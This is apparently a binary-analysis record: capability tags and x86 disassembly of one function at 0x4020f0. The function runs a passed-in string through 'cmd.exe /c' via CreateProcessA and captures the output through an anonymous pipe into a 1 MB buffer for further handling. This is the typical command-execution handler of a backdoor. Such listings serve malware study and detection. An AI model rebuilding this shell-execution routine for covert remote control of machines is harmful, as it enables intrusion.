Function at 0x4020f0
Capabilities:
Create pipe
Create process on windows
Read file on windows
Read pipe
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x484
mov eax, dword [0x412008]
xor eax, esp
mov dword [esp + 0x47c], eax
push ebx
push ebp
push esi
mov esi, ecx
push edi
push esi
mov eax, esi
call fcn.00401820
add esp, 4
xor eax, eax
mov dword [esp + 0x2c], eax
xor ebp, ebp
push ebp
mov dword [esp + 0x2c], eax
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0x28]
push ecx
lea edx, [esp + 0x28]
push edx
mov dword [esp + 0x3c], 1
mov dword [esp + 0x34], 0xc
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x402152
xor al, al
jmp 0x402327
push 0x40
lea eax, [esp + 0x48]
push ebp
push eax
mov dword [esp + 0x4c], ebp
call fcn.00406b00
add esp, 0xc
lea ecx, [esp + 0x40]
push ecx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov eax, dword [esp + 0x20]
push 0x400
mov dword [esp + 0x84], eax
mov dword [esp + 0x80], eax
xor eax, eax
lea edx, [esp + 0x8c]
push ebp
push edx
mov dword [esp + 0x78], 0x101
mov dword [esp + 0x3c], ebp
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], eax
call fcn.00406b00
mov eax, dword [str.cmd.exe__c]
mov ecx, dword [0x410540]
mov edx, dword [0x410544]
mov dword [esp + 0x94], eax
mov eax, esi
mov dword [esp + 0x98], ecx
add esp, 0xc
mov dword [esp + 0x90], edx
mov ecx, eax
lea ecx, [ecx]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4021e0
lea edi, [esp + 0x88]
sub eax, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x4021f1
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0x93]
rep movsb byte es:[edi], byte [esi]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402211
sub eax, edx
je 0x402313
lea eax, [esp + 0x30]
push eax
lea ecx, [esp + 0x44]
push ecx
push ebp
push ebp
push ebp
push 1
push ebp
push ebp
lea edx, [esp + 0xa8]
push edx
push ebp
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push 0x100000
call fcn.00403aef
push 0x100000
mov ebx, eax
push ebp
push ebx
call fcn.00406b00
add esp, 0x10
push 0xbb8
mov dword [esp + 0x18], 1
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [esp + 0x14], ebp
je 0x4022e1
cmp ebp, 0xff800
jae 0x4022e1
mov ecx, dword [esp + 0x1c]
push 0
push 0
lea eax, [esp + 0x1c]
push eax
mov esi, 0x100000
sub esi, ebp
push esi
lea edi, [ebx + ebp]
push edi
push ecx
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov eax, dword [esp + 0x14]
test eax, eax
je 0x4022e1
push 1
mov dword [esp + 0x1c], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0x1c]
push 0
lea edx, [esp + 0x18]
push edx
push esi
push edi
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x4022ce
call dword [sym.imp.KERNEL32.dll_GetLastError]
add ebp, dword [esp + 0x18]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [esp + 0x14], 0
jne 0x402274
push ebx
mov eax, ebx
call fcn.00401780
mov eax, ebx
add esp, 4
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4022f1
sub eax, edx
push 1
add eax, 0xa
push eax
push ebx
mov ecx, 0x414774
jmp section..htext
mov ebx, dword [esp + 0x18]
xor esi, esi
push ebx
call fcn.00403a12
add esp, 4
test esi, esi
setne al
mov ecx, dword [esp + 0x48c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004033e4
add esp, 0x484
ret